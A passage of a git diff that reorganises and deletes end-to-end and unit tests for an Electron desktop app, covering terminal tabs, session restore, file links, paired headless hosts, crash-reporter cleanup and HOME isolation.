tests/e2e/golden-tab-bar-agent-launch.spec.ts rename to tests/e2e/golden-journeys/golden-tab-bar-agent-launch.spec.ts index aa26973814e..db1f48788f9 100644 --- a/tests/e2e/golden-tab-bar-agent-launch.spec.ts +++ b/tests/e2e/golden-journeys/golden-tab-bar-agent-launch.spec.ts @@ -1,21 +1,26 @@ import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' +import { test } from '../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { configureGoldenStubAgent, getGoldenStubAgentLaunchEnv, - GOLDEN_STUB_AGENTS, GOLDEN_STUB_READY_MARKER, launchGoldenStubAgentFromNewTab -} from './helpers/golden-stub-agent' +} from './golden-stub-agent' import { getFirstWslDistro, removeWslGoldenStubAgent, stageWslGoldenStubAgent, useWslRuntimeForActiveProject -} from './helpers/wsl-golden-stub-agent' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { getTerminalContent } from './helpers/terminal' -import type { BuiltInWindowsTerminalShell } from '../../src/shared/shell/launch/windows-terminal-shell' +} from '../remote/wsl-hosts/wsl-golden-stub-agent' +import { + ensureTerminalVisible, + waitForActiveWorktree, + waitForSessionReady +} from '../desktop/renderer-probes/store' +import '../terminal/input/terminal' +import { getTerminalContent } from '../terminal/layout/terminal-pane-identity' +import type { BuiltInWindowsTerminalShell } from '../../../src/shared/shell/launch/windows-terminal-shell' // Covers the Windows-only tab-bar launch path that the default-shell test misses. @@ -33,21 +38,6 @@ async function openWorkspaceTerminal(page: Page): Promise { await ensureTerminalVisible(page) } -for (const { id, menuItemName } of GOLDEN_STUB_AGENTS) { - test(`tab-bar + menu launches ${id} into a live TUI @tab-bar-agent-launch-golden`, async ({ - orcaPage - }) => { - await openWorkspaceTerminal(orcaPage) - await configureGoldenStubAgent(orcaPage, { agent: id }) - await launchGoldenStubAgentFromNewTab(orcaPage, menuItemName) - - const activeTab = orcaPage.locator('[data-testid="sortable-tab"][data-active="true"]') - await expect(activeTab).toHaveAttribute('data-tab-title', /Golden Stub Agent|Codex|Claude/i) - // The marker distinguishes an agent launch from an identical bare-shell tab. - expect(await getTerminalContent(orcaPage)).toContain(GOLDEN_STUB_READY_MARKER) - }) -} - // Suite-level skipping avoids launching Electron for each unsupported case. test.describe('Windows runtimes', () => { test.skip(process.platform !== 'win32', 'Windows agent launch matrix is Windows-only') diff --git a/tests/e2e/golden-worktree-create-switch.spec.ts b/tests/e2e/golden-journeys/golden-worktree-create-switch.spec.ts similarity index 82% rename from tests/e2e/golden-worktree-create-switch.spec.ts rename to tests/e2e/golden-journeys/golden-worktree-create-switch.spec.ts index 082888c6fce..2e5341d0576 100644 --- a/tests/e2e/golden-worktree-create-switch.spec.ts +++ b/tests/e2e/golden-journeys/golden-worktree-create-switch.spec.ts @@ -1,22 +1,23 @@ -import { removeWorktreeViaStore } from './helpers/dead-terminal' -import { openSidebarWorkspaceComposer } from './helpers/sidebar-project-dialog' +import { removeWorktreeViaStore } from '../terminal/input/dead-terminal' +import { openSidebarWorkspaceComposer } from '../workspaces/sidebar/sidebar-project-dialog' import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' +import { test } from '../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { ensureTerminalVisible, getActiveWorktreeId, waitForActiveWorktree, waitForSessionReady -} from './helpers/store' -import { createTerminalTabFromMenu } from './helpers/terminal-tab-menu' +} from '../desktop/renderer-probes/store' +import { createTerminalTabFromMenu } from '../terminal/layout/terminal-tab-menu' +import { waitForActivePanePtyId } from '../terminal/input/terminal' import { execInTerminal, - waitForActivePanePtyId, waitForActiveTerminalManager, waitForTerminalOutput -} from './helpers/terminal' -import { splitMarkerEchoCommand } from './terminal-marker-echo-command' -import { waitForPtyShellEcho } from './terminal-pty-readiness' +} from '../terminal/layout/terminal-pane-operations' +import { splitMarkerEchoCommand } from '../terminal/input/terminal-marker-echo-command' +import { waitForPtyShellEcho } from '../terminal/lifecycle/terminal-pty-readiness' async function createWorkspace(page: Page, name: string): Promise { await openSidebarWorkspaceComposer(page) diff --git a/tests/e2e/golden-quit-relaunch-session.spec.ts b/tests/e2e/golden-quit-relaunch-session.spec.ts deleted file mode 100644 index 2b755e93606..00000000000 --- a/tests/e2e/golden-quit-relaunch-session.spec.ts +++ /dev/null @@ -1,109 +0,0 @@ -import { existsSync, readFileSync } from 'node:fs' -import type { ElectronApplication } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { openFileExplorer } from './helpers/file-explorer' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { ensureTerminalVisible, waitForSessionReady } from './helpers/store' -import { createTerminalTabFromMenu, SORTABLE_TAB } from './helpers/terminal-tab-menu' -import { - execInTerminal, - focusActiveTerminalInput, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForTerminalOutput -} from './helpers/terminal' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { splitMarkerEchoCommand } from './terminal-marker-echo-command' -import { PTY_SESSION_ID_SEPARATOR } from '../../src/shared/terminal/pty/lifecycle/pty-session-id-format' - -function seededRepoPath(): string { - const repoPath = existsSync(TEST_REPO_PATH_FILE) - ? readFileSync(TEST_REPO_PATH_FILE, 'utf8').trim() - : '' - if (!repoPath || !existsSync(repoPath)) { - throw new Error('Golden restart E2E requires the seeded test repo from global setup') - } - return repoPath -} - -test('restores the exact file and live extra terminal after quit and relaunch @golden', async (// oxlint-disable-next-line no-empty-pattern -- this test owns both Electron launches. -{}, testInfo) => { - test.setTimeout(300_000) - const repoPath = seededRepoPath() - const session = createRestartSession(testInfo) - let firstApp: ElectronApplication | null = null - let secondApp: ElectronApplication | null = null - - try { - const first = await session.launch() - firstApp = first.app - await waitForSessionReady(first.page) - const primaryWorktreeId = await attachRepoAndOpenTerminal(first.page, repoPath) - await ensureTerminalVisible(first.page) - await waitForActiveTerminalManager(first.page, 30_000) - const extraTerminalId = await createTerminalTabFromMenu(first.page) - await waitForActiveTerminalManager(first.page, 30_000) - const extraTerminalPtyId = await waitForActivePanePtyId(first.page, 30_000) - expect(extraTerminalPtyId).toContain(PTY_SESSION_ID_SEPARATOR) - const preQuitMarkerPrefix = 'GOLDEN_RELAUNCH_PERSISTED' - const preQuitMarkerSuffix = `_${Date.now()}` - const preQuitMarker = `${preQuitMarkerPrefix}${preQuitMarkerSuffix}` - await execInTerminal( - first.page, - extraTerminalPtyId, - splitMarkerEchoCommand(preQuitMarkerPrefix, preQuitMarkerSuffix) - ) - await waitForTerminalOutput(first.page, preQuitMarker, 20_000) - - await openFileExplorer(first.page) - const fileRow = first.page - .locator('[data-file-explorer-row]') - .filter({ hasText: 'package.json' }) - .first() - await expect(fileRow).toBeVisible({ timeout: 15_000 }) - await fileRow.click() - await expect(first.page.locator('.editor-header-path').first()).toContainText('package.json', { - timeout: 20_000 - }) - const tabCountAtQuit = await first.page.locator(SORTABLE_TAB).count() - - await session.close(firstApp) - firstApp = null - - const second = await session.launch() - secondApp = second.app - await waitForSessionReady(second.page) - await expect( - second.page.locator(`[role="option"][data-worktree-id="${primaryWorktreeId}"]`) - ).toHaveAttribute('aria-current', 'page', { timeout: 30_000 }) - await expect(second.page.locator(SORTABLE_TAB)).toHaveCount(tabCountAtQuit, { - timeout: 30_000 - }) - await expect(second.page.locator('.editor-header-path').first()).toContainText('package.json', { - timeout: 30_000 - }) - - const restoredExtraTab = second.page.locator( - `${SORTABLE_TAB}[data-tab-id="${extraTerminalId}"]` - ) - await expect(restoredExtraTab).toBeVisible() - await restoredExtraTab.click({ force: true }) - await waitForActiveTerminalManager(second.page, 30_000) - expect(await waitForActivePanePtyId(second.page, 30_000)).toBe(extraTerminalPtyId) - await waitForTerminalOutput(second.page, preQuitMarker, 20_000) - await expect(second.page.getByRole('button', { name: /Reconnect/i })).toHaveCount(0) - await focusActiveTerminalInput(second.page) - const marker = `GOLDEN_RELAUNCH_LIVE_${Date.now()}` - const command = process.platform === 'win32' ? `Write-Output ${marker}` : `echo ${marker}` - await second.page.keyboard.type(command) - await second.page.keyboard.press('Enter') - await waitForTerminalOutput(second.page, marker, 20_000) - } finally { - for (const app of [secondApp, firstApp]) { - if (app) { - await session.close(app).catch(() => undefined) - } - } - await session.dispose() - } -}) diff --git a/tests/e2e/golden-terminal-file-link.spec.ts b/tests/e2e/golden-terminal-file-link.spec.ts deleted file mode 100644 index b9294105139..00000000000 --- a/tests/e2e/golden-terminal-file-link.spec.ts +++ /dev/null @@ -1,315 +0,0 @@ -import { readFileSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { openFileExplorer } from './helpers/file-explorer' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - getTerminalContent, - sendToTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' -import { nodeTerminalCommand } from './terminal-node-command' -import { waitForPtyShellEcho } from './terminal-pty-readiness' - -type LinkProbe = { col: number; row: number; tabId: string } -type LinkClientPoint = { x: number; y: number } - -const LINK_SCAN_CHAR_LIMIT = 12_000 - -function canonicalFileIdentity(value: string): string { - const normalized = path.resolve(value).replaceAll('\\', '/') - return process.platform === 'win32' ? normalized.toLowerCase() : normalized -} - -async function locateLink(page: Page, needle: string): Promise { - return page.evaluate((needle) => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? state?.activeTabIdByWorktree?.[worktreeId] - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!tabId || !pane) { - return null - } - const buffer = pane.terminal.buffer.active - // Preserve fixed-width cells so paths split across xterm rows stay searchable. - const visibleCells = Array.from({ length: pane.terminal.rows }, (_, row) => - (buffer.getLine(buffer.viewportY + row)?.translateToString(false) ?? '').padEnd( - pane.terminal.cols - ) - ).join('') - const start = visibleCells.indexOf(needle) - if (start !== -1) { - const center = start + Math.floor(needle.length / 2) - return { - col: center % pane.terminal.cols, - row: Math.floor(center / pane.terminal.cols), - tabId - } - } - return null - }, needle) -} - -async function linkClientPoint(page: Page, probe: LinkProbe): Promise { - return page.evaluate(({ col, row, tabId }) => { - const manager = window.__paneManagers?.get(tabId) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - const screen = pane?.terminal.element?.querySelector('.xterm-screen') - if (!pane || !screen) { - throw new Error('terminal link surface unavailable') - } - const rect = screen.getBoundingClientRect() - return { - x: rect.left + (col + 0.5) * (rect.width / pane.terminal.cols), - y: rect.top + (row + 0.5) * (rect.height / pane.terminal.rows) - } - }, probe) -} - -async function hoverLink(page: Page, probe: LinkProbe): Promise { - const point = await linkClientPoint(page, probe) - return page.evaluate( - ({ tabId, x, y }) => { - const manager = window.__paneManagers?.get(tabId) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - const screen = pane?.terminal.element?.querySelector('.xterm-screen') - if (!pane || !screen) { - throw new Error('terminal link surface unavailable') - } - screen.dispatchEvent( - new MouseEvent('mousemove', { bubbles: true, cancelable: true, clientX: x, clientY: y }) - ) - const terminal = pane.terminal as unknown as { - _core?: { linkifier?: { currentLink?: { link?: { text?: string } } } } - } - return terminal._core?.linkifier?.currentLink?.link?.text ?? null - }, - { tabId: probe.tabId, ...point } - ) -} - -async function clickLink(page: Page, probe: LinkProbe): Promise { - const target = await linkClientPoint(page, probe) - await page.mouse.move(target.x, target.y) - await page.mouse.click(target.x, target.y) -} - -test('opens a terminal file link and observes an external edit @golden', async ({ orcaPage }) => { - test.setTimeout(180_000) - await waitForSessionReady(orcaPage) - const worktreeId = await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const ptyId = await waitForActivePanePtyId(orcaPage) - await waitForPtyShellEcho(orcaPage, ptyId, 15_000) - - const worktreePath = await orcaPage.evaluate((id) => { - return ( - Object.values(window.__store?.getState().worktreesByRepo ?? {}) - .flat() - .find((worktree) => worktree.id === id)?.path ?? '' - ) - }, worktreeId) - const filePath = path.join(worktreePath, 'package.json') - const original = readFileSync(filePath, 'utf8') - const resolvedDestination = - process.platform === 'win32' ? filePath.replaceAll('\\', '/') : filePath - // Print a short relative path: locateLink searches physical rows, while macOS/Windows temp paths can soft-wrap. - const printedPath = './package.json' - const changedMarker = `golden-external-edit-${Date.now()}` - - try { - await openFileExplorer(orcaPage) - const explorerRow = orcaPage - .locator('[data-file-explorer-row]') - .filter({ hasText: 'package.json' }) - .first() - await expect(explorerRow).toBeVisible({ timeout: 15_000 }) - - const command = nodeTerminalCommand(['-e', `console.log(${JSON.stringify(printedPath)})`]) - await sendToTerminal(orcaPage, ptyId, `${command}\r`) - await expect - .poll(() => getTerminalContent(orcaPage, LINK_SCAN_CHAR_LIMIT), { timeout: 15_000 }) - .toContain(printedPath) - - let probe: LinkProbe | null = null - await expect - .poll( - async () => { - probe = await locateLink(orcaPage, printedPath) - return probe ? hoverLink(orcaPage, probe) : null - }, - { timeout: 10_000, message: 'cwd-relative file path did not become clickable' } - ) - .toContain('package.json') - if (!probe) { - throw new Error('terminal file link disappeared before activation') - } - await clickLink(orcaPage, probe) - - const actionPopover = orcaPage.locator('[data-terminal-link-action-popover]') - await expect(actionPopover).toBeVisible() - // Why: destination is the resolved absolute path; Windows may use `\`. - await expect - .poll( - async () => - ( - (await actionPopover.locator('[data-terminal-link-destination]').textContent()) ?? '' - ).replaceAll('\\', '/'), - { message: 'terminal link destination did not resolve to package.json' } - ) - .toContain(resolvedDestination) - await actionPopover.getByRole('button', { name: /Open file/i }).click() - - const editorHeader = orcaPage.locator('.editor-header-path').first() - await expect(editorHeader).toContainText('package.json', { timeout: 20_000 }) - await expect(explorerRow).toHaveAttribute('data-selected', 'true', { timeout: 10_000 }) - await expect - .poll( - async () => - canonicalFileIdentity( - (await orcaPage.evaluate(() => window.__monacoEditorE2E?.filePath)) ?? '' - ), - { timeout: 20_000, message: 'Monaco opened a different file identity' } - ) - .toBe(canonicalFileIdentity(filePath)) - - writeFileSync(filePath, `${original.trimEnd()}\n\n${changedMarker}\n`) - await expect - .poll( - async () => { - const snapshot = await orcaPage.evaluate(() => window.__monacoEditorE2E?.snapshot()) - const reloadVisible = await orcaPage - .getByRole('button', { name: 'Reload from Disk' }) - .isVisible() - .catch(() => false) - return Boolean(snapshot?.valueTail.includes(changedMarker) || reloadVisible) - }, - { timeout: 20_000, message: 'editor stayed silently stale after the external edit' } - ) - .toBe(true) - } finally { - writeFileSync(filePath, original) - } -}) - -test('opens a terminal file link a sibling workspace holds in the clicked workspace @golden', async ({ - orcaPage -}) => { - test.setTimeout(180_000) - await waitForSessionReady(orcaPage) - const sourceWorktreeId = await waitForActiveWorktree(orcaPage) - const worktrees = await orcaPage.evaluate((sourceId) => { - const state = window.__store?.getState() - const entries = Object.values(state?.worktreesByRepo ?? {}).flat() - return { - source: entries.find((worktree) => worktree.id === sourceId) ?? null, - sibling: entries.find((worktree) => worktree.id !== sourceId) ?? null - } - }, sourceWorktreeId) - const { source, sibling } = worktrees - if (!source) { - throw new Error('source worktree fixture unavailable') - } - if (!sibling) { - throw new Error('sibling worktree fixture unavailable') - } - - const filePath = path.join(sibling.path, 'package.json') - await orcaPage.evaluate( - ({ filePath, sourceWorktreeId, siblingWorktreeId }) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('store unavailable') - } - state.openFile({ - filePath, - relativePath: 'package.json', - worktreeId: siblingWorktreeId, - runtimeEnvironmentId: null, - language: 'json', - mode: 'edit' - }) - state.setActiveWorktree(sourceWorktreeId) - }, - { filePath, sourceWorktreeId, siblingWorktreeId: sibling.id } - ) - - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - await orcaPage.evaluate((sourceWorktreeId) => { - const state = window.__store?.getState() - state?.setSidebarOpen(false) - state?.setRightSidebarOpen(false) - // Restore worktree activation after sidebar close or Landing may remount with terminal.cols at zero. - if (state && state.activeWorktreeId !== sourceWorktreeId) { - state.setActiveWorktree(sourceWorktreeId) - } - }, sourceWorktreeId) - await ensureTerminalVisible(orcaPage) - await expect - .poll( - () => - orcaPage.evaluate(() => { - const state = window.__store?.getState() - const tabId = state?.activeTabId - const manager = tabId ? window.__paneManagers?.get(tabId) : null - return manager?.getActivePane?.()?.terminal.cols ?? 0 - }), - { message: 'terminal did not expand after closing the sidebars' } - ) - .toBeGreaterThan(120) - const ptyId = await waitForActivePanePtyId(orcaPage, 30_000) - await waitForPtyShellEcho(orcaPage, ptyId, 15_000) - const printedPath = process.platform === 'win32' ? filePath.replaceAll('\\', '/') : filePath - const command = nodeTerminalCommand(['-e', `console.log(${JSON.stringify(printedPath)})`]) - await sendToTerminal(orcaPage, ptyId, `${command}\r`) - await expect - .poll(() => getTerminalContent(orcaPage, LINK_SCAN_CHAR_LIMIT), { timeout: 15_000 }) - .toContain(printedPath) - - let probe: LinkProbe | null = null - await expect - .poll( - async () => { - probe = await locateLink(orcaPage, printedPath) - return probe ? hoverLink(orcaPage, probe) : null - }, - { timeout: 10_000, message: 'sibling file path did not become clickable' } - ) - .toContain('package.json') - if (!probe) { - throw new Error('sibling file link disappeared before activation') - } - await clickLink(orcaPage, probe) - const actionPopover = orcaPage.locator('[data-terminal-link-action-popover]') - await expect(actionPopover).toBeVisible() - await actionPopover.getByRole('button', { name: /Open file/i }).click() - - const editorHeader = orcaPage.locator('.editor-header-path').first() - await expect(editorHeader).toContainText('package.json', { timeout: 20_000 }) - await expect - .poll( - async () => { - const rendered = await orcaPage.evaluate(() => ({ - filePath: window.__monacoEditorE2E?.filePath ?? '', - activeWorktreeId: window.__store?.getState()?.activeWorktreeId ?? null - })) - return { - filePath: canonicalFileIdentity(rendered.filePath), - activeWorktreeId: rendered.activeWorktreeId - } - }, - { timeout: 20_000, message: 'clicked workspace never rendered the linked file' } - ) - .toEqual({ filePath: canonicalFileIdentity(filePath), activeWorktreeId: sourceWorktreeId }) - await expect(orcaPage.getByText('Loading...', { exact: true })).toHaveCount(0) -}) diff --git a/tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts b/tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts deleted file mode 100644 index 2211328b50c..00000000000 --- a/tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts +++ /dev/null @@ -1,73 +0,0 @@ -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { launchPairedWebClient, type PairedWebClient } from './helpers/paired-electron-client' -import { runPairedTerminalColdActivationOracle } from './helpers/paired-terminal-cold-activation-oracle' -import { runPairedTerminalParkingOracle } from './helpers/paired-terminal-parking-oracle' - -test('ordinary-parks paired terminals against an isolated headless Orca host', async ({ - testRepoPath -}) => { - test.setTimeout(240_000) - const host = await launchHeadlessPairedRuntimeHost() - let client: PairedWebClient | null = null - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - client = await launchPairedWebClient(host.app, host.offer, { - terminalParkingDelayMs: 100 - }) - await expect - .poll( - () => - client?.page.evaluate(() => { - const state = window.__store?.getState() - const worktree = state?.allWorktrees()[0] - return worktree ? { id: worktree.id, repoId: worktree.repoId } : null - }) ?? null, - { timeout: 30_000 } - ) - .not.toBeNull() - const seed = await client.page.evaluate(() => { - const worktree = window.__store?.getState().allWorktrees()[0] - if (!worktree) { - throw new Error('Headless paired client did not receive the host worktree') - } - return { fallbackWorktreeId: worktree.id, repoId: worktree.repoId } - }) - await runPairedTerminalParkingOracle(client.page, seed) - } finally { - await client?.dispose() - await host.dispose() - } -}) - -test('cold-activates only visible paired terminals against an isolated headless host', async ({ - testRepoPath -}) => { - test.setTimeout(240_000) - const host = await launchHeadlessPairedRuntimeHost() - let client: PairedWebClient | null = null - try { - const added = await host.client.call<{ repo: { id: string } }>('repo.add', { - path: testRepoPath, - kind: 'git' - }) - await expect - .poll( - async () => { - const listed = await host.client.call<{ totalCount: number }>('worktree.list', { - repo: `id:${added.result.repo.id}` - }) - return listed.result.totalCount - }, - { timeout: 30_000 } - ) - .toBeGreaterThan(0) - client = await launchPairedWebClient(host.app, host.offer, { - terminalParkingDelayMs: 100 - }) - await runPairedTerminalColdActivationOracle(client.page, { repoId: added.result.repo.id }) - } finally { - await client?.dispose() - await host.dispose() - } -}) diff --git a/tests/e2e/headless-serve-cli-terminal-retention-parity.spec.ts b/tests/e2e/headless-serve-cli-terminal-retention-parity.spec.ts deleted file mode 100644 index 2ccae403c8a..00000000000 --- a/tests/e2e/headless-serve-cli-terminal-retention-parity.spec.ts +++ /dev/null @@ -1,172 +0,0 @@ -// Run the same retention oracle against a windowless serve host and the paired desktop topology. -// Without renderer graph publication, this arm proves headless parity rather than the desktop prune regression. -import { rmSync } from 'node:fs' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { - toWebTerminalSurfaceTabId, - WEB_TERMINAL_SURFACE_TAB_PREFIX -} from '../../src/shared/workspace-layout/terminal-surface-id' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { launchPairedElectronClient } from './helpers/paired-electron-client' -import { - createHostCliTerminal, - createRetentionFixtureDirectory, - proveSameLivePty, - readHostTerminalInventory, - writeRetentionFixture, - type RuntimeRpcCall -} from './helpers/host-created-terminal-retention-oracle' - -const scratch = createRetentionFixtureDirectory() -const fixturePath = writeRetentionFixture(scratch) - -test.afterAll(() => { - rmSync(scratch, { recursive: true, force: true }) -}) - -function createPairedRuntimeCall(page: Page, environmentId: string): RuntimeRpcCall { - return async (method: string, params: unknown): Promise => - page.evaluate( - async ({ environmentId, method, params }) => { - const response = await window.api.runtimeEnvironments.call({ - selector: environmentId, - method, - params - }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return response.result - }, - { environmentId, method, params } - ) as Promise -} - -async function readClientTerminalStrip(page: Page, worktreeId: string): Promise { - return page.evaluate( - ({ worktreeId, prefix }) => - (window.__store?.getState().tabsByWorktree[worktreeId] ?? []) - .map((tab) => tab.id) - .filter((tabId) => tabId.startsWith(prefix)), - { worktreeId, prefix: WEB_TERMINAL_SURFACE_TAB_PREFIX } - ) -} - -async function waitForClientTab(page: Page, worktreeId: string, tabId: string): Promise { - await expect - .poll(async () => (await readClientTerminalStrip(page, worktreeId)).includes(tabId), { - timeout: 60_000, - message: `Paired client never mirrored serve-host tab ${tabId}` - }) - .toBe(true) -} - -test('keeps every host-created CLI terminal on a windowless serve host', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(600_000) - const host = await launchHeadlessPairedRuntimeHost() - const client = await launchPairedElectronClient( - host.offer, - testInfo, - 'headless-cli-terminal-retention' - ).catch(async (error) => { - await host.dispose() - throw error - }) - const clientPageErrors: string[] = [] - client.page.on('pageerror', (error) => clientPageErrors.push(String(error))) - const call = createPairedRuntimeCall(client.page, client.environmentId) - try { - const added = await host.client.call<{ repo: { id: string } }>('repo.add', { - path: testRepoPath, - kind: 'git' - }) - let worktreeId = '' - await expect - .poll( - async () => { - const listed = await host.client.call<{ worktrees: { id: string }[] }>('worktree.list', { - repo: `id:${added.result.repo.id}` - }) - worktreeId = listed.result.worktrees[0]?.id ?? '' - return worktreeId - }, - { timeout: 30_000, message: 'Serve host never listed a worktree for the seeded repo' } - ) - .not.toBe('') - await expect - .poll( - () => - client.page.evaluate( - (id) => - window.__store - ?.getState() - .allWorktrees() - .some((worktree) => worktree.id === id) ?? false, - worktreeId - ), - { timeout: 60_000, message: 'Paired client never saw the serve-host worktree' } - ) - .toBe(true) - - const first = await createHostCliTerminal( - call, - worktreeId, - fixturePath, - path.join(scratch, 'headless-first.log') - ) - const published = await readHostTerminalInventory(call, worktreeId) - expect(published.tabIds, 'serve host never published the CLI-created terminal').toContain( - first.tabId - ) - // Require a headless publication epoch so this arm cannot accidentally exercise renderer-owned publication. - expect( - published.publicationEpoch, - 'a windowless serve host must publish under a headless epoch; a renderer epoch would mean this arm is not testing the headless path' - ).toMatch(/^headless/) - await waitForClientTab(client.page, worktreeId, toWebTerminalSurfaceTabId(first.tabId)) - await proveSameLivePty(call, first, 'headless-first-alive') - - // Dispatch again to republish the worktree and expose any loss of earlier terminals. - const second = await createHostCliTerminal( - call, - worktreeId, - fixturePath, - path.join(scratch, 'headless-second.log') - ) - expect(second.ptyId).not.toBe(first.ptyId) - await waitForClientTab(client.page, worktreeId, toWebTerminalSurfaceTabId(second.tabId)) - - const afterSecond = await readHostTerminalInventory(call, worktreeId) - expect( - afterSecond.tabIds, - 'a later CLI dispatch dropped the earlier host-created terminal from the serve-host inventory' - ).toContain(first.tabId) - expect(afterSecond.tabIds).toContain(second.tabId) - expect( - afterSecond.ptyIdByTabId[first.tabId], - 'the retained tab must still name its original PTY, not a replacement' - ).toBe(first.ptyId) - expect(afterSecond.ptyIdByTabId[second.tabId]).toBe(second.ptyId) - - await proveSameLivePty(call, first, 'headless-first-after-second') - await proveSameLivePty(call, second, 'headless-second-alive') - - // NEGATIVE SAFETY: the client mirrors exactly these two and nothing else — - // no replacement or resume tab was appended for either. - expect((await readClientTerminalStrip(client.page, worktreeId)).sort()).toEqual( - [toWebTerminalSurfaceTabId(first.tabId), toWebTerminalSurfaceTabId(second.tabId)].sort() - ) - expect( - await client.getDirectSshAttemptTargetIds(), - 'the paired client must reach the serve host through the pairing, never a local connection' - ).toEqual([]) - expect(clientPageErrors, 'paired client renderer raised an uncaught error').toEqual([]) - } finally { - await client.dispose() - await host.dispose() - } -}) diff --git a/tests/e2e/helpers/electron-crashpad-cleanup.unit.test.ts b/tests/e2e/helpers/electron-crashpad-cleanup.unit.test.ts deleted file mode 100644 index cdf552e2548..00000000000 --- a/tests/e2e/helpers/electron-crashpad-cleanup.unit.test.ts +++ /dev/null @@ -1,45 +0,0 @@ -import { afterEach, describe, expect, it, vi } from 'vitest' -import { execFileSync } from 'node:child_process' -import path from 'node:path' -import { cleanupE2ECrashpad } from './electron-crashpad-cleanup' - -vi.mock('node:child_process', () => ({ execFileSync: vi.fn() })) - -const profile = '/tmp/test profile' -const database = path.join(profile, 'Crashpad') -const reporter = `/Electron Framework/Helpers/chrome_crashpad_handler --database=${database} --annotation=prod=Electron` - -afterEach(() => vi.restoreAllMocks()) - -describe('test-owned macOS Crashpad cleanup', () => { - it('terminates only the reporter for the exact temporary profile after rechecking ownership', () => { - vi.spyOn(process, 'platform', 'get').mockReturnValue('darwin') - const kill = vi.spyOn(process, 'kill').mockReturnValue(true) - vi.mocked(execFileSync) - .mockReturnValueOnce( - `111 ${reporter}\n222 ${reporter.replace('Crashpad ', 'Crashpad-old ')}\n333 ${reporter.replace('test profile', 'another profile')}\n444 /bin/echo --database=${database} \n` - ) - .mockReturnValueOnce(reporter) - cleanupE2ECrashpad(profile) - expect(kill).toHaveBeenCalledExactlyOnceWith(111, 'SIGTERM') - expect(execFileSync).toHaveBeenLastCalledWith('ps', ['-p', '111', '-o', 'command='], { - encoding: 'utf8', - timeout: 5_000 - }) - }) - - it('does not signal a PID whose ownership changed after enumeration', () => { - vi.spyOn(process, 'platform', 'get').mockReturnValue('darwin') - const kill = vi.spyOn(process, 'kill').mockReturnValue(true) - vi.mocked(execFileSync).mockReturnValueOnce(`111 ${reporter}`).mockReturnValueOnce('/bin/sh') - cleanupE2ECrashpad(profile) - expect(kill).not.toHaveBeenCalled() - }) - - it.each(['win32', 'linux'] as const)('does not enumerate processes on %s', (platform) => { - vi.spyOn(process, 'platform', 'get').mockReturnValue(platform) - vi.mocked(execFileSync).mockClear() - cleanupE2ECrashpad(profile) - expect(execFileSync).not.toHaveBeenCalled() - }) -}) diff --git a/tests/e2e/helpers/electron-home-isolation.unit.test.ts b/tests/e2e/helpers/electron-home-isolation.unit.test.ts deleted file mode 100644 index b725cfb0303..00000000000 --- a/tests/e2e/helpers/electron-home-isolation.unit.test.ts +++ /dev/null @@ -1,225 +0,0 @@ -import { mkdirSync, mkdtempSync, realpathSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { afterEach, describe, expect, it, vi } from 'vitest' -import { readZcodeV2PlanCredential } from '../../../src/main/zcode/zcode-v2-plan-credentials' -import { - areSameHomePath, - assertElectronResolvedIsolatedHome, - createElectronHomeIsolation -} from './electron-home-isolation' - -const tempDirs: string[] = [] - -afterEach(() => { - vi.unstubAllGlobals() - for (const tempDir of tempDirs.splice(0)) { - rmSync(tempDir, { recursive: true, force: true }) - } -}) - -function createUserDataDir(): string { - const tempDir = mkdtempSync(path.join(os.tmpdir(), 'orca-home-isolation-test-')) - tempDirs.push(tempDir) - return tempDir -} - -describe('createElectronHomeIsolation', () => { - it('strips ambient home and Codex state before forcing a disposable home', () => { - const userDataDir = createUserDataDir() - const isolation = createElectronHomeIsolation({ - inheritedEnv: { - HOME: '/real/home', - USERPROFILE: '/real/home', - CODEX_HOME: '/real/codex', - ORCA_CODEX_HOME: '/real/orca-codex', - CLAUDE_CONFIG_DIR: '/real/claude', - ZDOTDIR: '/real/zdotdir', - ORCA_DISABLE_MACOS_LOGIN_SHELL: 'false', - PATH: '/bin' - }, - launchEnv: { TEST_TOKEN: 'safe' }, - extraEnv: { EXTRA_TEST_FLAG: '1' }, - userDataDir, - realHome: '/real/home' - }) - - // Require canonical HOME so git-normalized worktree paths still match. - const canonicalHome = realpathSync.native(path.join(userDataDir, 'home')) - expect(isolation.isolatedHome).toBe(canonicalHome) - expect(isolation.env).toMatchObject({ - PATH: 